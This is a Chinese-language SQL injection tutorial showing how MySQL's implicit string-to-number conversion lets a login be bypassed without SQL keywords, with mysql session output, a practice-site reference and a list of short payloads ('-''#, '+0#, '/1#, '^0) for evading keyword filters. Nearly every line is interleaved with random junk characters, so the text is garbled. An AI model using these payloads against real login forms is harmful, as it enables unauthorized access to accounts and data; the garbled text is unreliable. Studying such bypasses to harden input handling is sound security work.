我们先来看这样一个场景。
5 V8 a% q7 W( `0 q! C有以下表结构: ' q0 j# x. u& @0 e v7 ?+ m
, m+ X6 J3 @4 d. ^; M4 A( d2 d
mysql> desc admin;/ w/ l& J2 v0 z0 L2 z) I
+----------+--------------+------+-----+---------+----------------+
: o; u* [0 D8 j4 o/ {# h; j| Field | Type | Null | Key | Default | Extra |8 T$ @: X7 ?1 f: A" {" x
+----------+--------------+------+-----+---------+----------------+# R( V2 F, r3 A- D: {5 L
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
8 j& e$ W2 \/ @: c| name | char(32) | NO | UNI | NULL | |/ ]( U" j& |5 C
| password | char(32) | NO | UNI | NULL | |$ P3 q) A) n' o
+----------+--------------+------+-----+---------+----------------+' D3 `- S% q9 z, ~! {
3 rows in set (0.00 sec)" I% v7 [+ M7 a
执行select * from admin;,成功返回所有记录内容。
2 Y& |5 |" t7 P) r, X# }2 `
# P7 d7 F, f8 v* C+ D
5 t) c1 w1 B& a0 G+ s+----+--------+----------------------------------+8 {3 ~0 J2 ]. t2 q/ B) c" |% U) ]
| id | name | password |
) F3 \( [6 s4 @) x+----+--------+----------------------------------+
3 H& w$ X& }7 K; q- k| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |& z, i) i1 i: t4 U6 f0 _
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' M# _/ r7 P1 K W# u( {| 4 | n00b | ff80e8508d39047460921792273533a4 |8 }) l# {; q( O3 ?
+----+--------+----------------------------------+
6 S; F/ x/ B9 {2 W5 W4 ~3 rows in set (0.00 sec)
4 L. _& M+ \9 r$ j执行select * from admin where name=”;,没有匹配到任何记录。
% M5 D5 C( d7 m, F
- S+ A8 g& y' Xmysql> select * from admin where name = '';
8 |) Q2 [1 b& z# V. H \0 BEmpty set (0.00 sec)
+ k! Q, d) o# Q' Y那么我们来执行select * from admin where name = ”-”;
6 ?8 K% }; O. T# ^
+ O: K# _& s; y! R0 V _! z& b
/ a9 Z" A7 u5 d/ X+----+--------+----------------------------------+
( L1 C- ?1 M8 V% k8 f. R2 n; d| id | name | password |
P0 C: ^, E' M4 L+----+--------+----------------------------------+( F' u5 J0 t% ?' {
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |* H" V) h' d2 v Q% f: y/ V5 f; a" ~
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
! X7 x/ A' y: o. o8 y+ P- E| 4 | n00b | ff80e8508d39047460921792273533a4 |- t' P) [/ M: Q+ y
+----+--------+----------------------------------+
" n1 l8 B* F* H( P* |( z3 rows in set, 3 warnings (0.00 sec)
( A- G; Z. p9 w4 C; @% M& a5 }可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; N/ e/ e5 D6 X- H# _6 r6 [: r, M! z! W
mysql> show warnings;& F! u. W4 D+ S* Z5 X
+---------+------+------------------------------------------0 C3 U' Z1 w2 @& ^% Q4 V
| Level | Code | Message$ X; {2 \) d+ s# N* b2 r8 a/ y9 P9 W
+---------+------+------------------------------------------* y, \; U: E6 ?( \# u) S* F
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
! }) }6 E! G+ ?2 F; e| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s( x# r$ \# _- k$ H* f* q# t v$ [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
/ \/ F. w; } d& X5 E% q. m+---------+------+------------------------------------------. k# N; s, A+ H
3 rows in set (0.00 sec)
5 W+ j2 a, ^4 H2 Y6 }3 ]2 f+ b: ?) f提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % a9 ]( c/ J/ j. \, U0 F: V
9 P3 b$ W2 G& s y/ _, R
mysql> select ''-'';
0 W L) N' M; Y$ H ]2 B+-------+
; V+ g1 ^( g& M5 s+ Q| ''-'' |
4 d* c9 f" A, F2 Z- Z4 q* g" W+-------+1 T& U5 J% F8 v Z0 {% g2 k2 g
| 0 |/ Z$ f. {9 |4 t: X/ d4 d
+-------+8 s% V/ t8 w: x0 c& d# v n. o
1 row in set (0.00 sec)
4 R, Z0 v; I* D F返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* @, O" o7 e6 k! n0 T. J6 V$ h4 _/ A9 q: U' T0 T9 y" S% i! S
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);- D4 q* I* t0 P; b U8 o9 z* j3 [& m
+-----------------------------------------------------+, Z" y1 u. m* }6 z0 A5 G
| CAST((select name from admin limit 1,1) as DECIMAL) |
/ \/ u/ u% T" M$ |! |3 j4 f1 E+-----------------------------------------------------+
4 R5 N0 q3 K7 z7 C* h5 C( f| 0 |8 U6 ]/ S* w0 |. ~
+-----------------------------------------------------+5 _# W; n2 w; H# U
1 row in set, 1 warning (0.00 sec)) C* L, R( m3 m. }
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
- }, s" a* w1 e9 I6 o' H5 v+ Q* Q. q1 d# H6 L4 U
SQL注入场景: http://www.sqlzoo.net/hack/
7 E/ m7 V* f% y9 F- j' e: i4 k( ^- e$ R& }, G* ?7 I' k
+ f9 R: J- c$ o0 q' m$ h
. S2 ?2 z* s1 d8 F9 n1 }2 H1 Z& N( x1 Q
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
; g+ U( j5 B d* V7 `. d( U; {( M; Q( c. M4 P; x
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 0 T4 p' l6 u( \" c4 k& d' G
2 l0 I( [1 f" j9 Y4 f+ c/ N6 d6 Y( Y2 S+ w* C7 g1 ~( J6 R
& O% Z q! F& d' O3 Q0 X1 w
# [6 G( ]% k3 F% C! w3 P1 j仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 / E9 C7 K- N! V; V
. q( i8 _( @9 W& A
. j$ G6 n8 q2 q/ N/ H( i( S' H6 [5 d" @+ v
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可0 c! h& v' p( Y
( ^, t: P4 r$ z& Z% @# K( X! ]3 N8 z
mysql> select ''/1;
0 ~; P& P/ Y. G( T, d+------+% t! v$ N7 C; y+ ~ u' z
| ''/1 |
6 D# y, X' `) [% q: L2 u% z+------+
0 G' C: @- e( ?( b| 0 |
2 t2 e3 B1 q4 K" \3 X2 [0 O+------+
h! Z0 g3 |* U4 i4 F; W1 row in set (0.00 sec)
: ?, i Q% W0 {# f类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ( G6 l1 ]2 e$ w$ V: q
0 C, W' U! ?# \! ^8 \利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
& I ]" s% _/ }# D8 W/ v+ [ |
|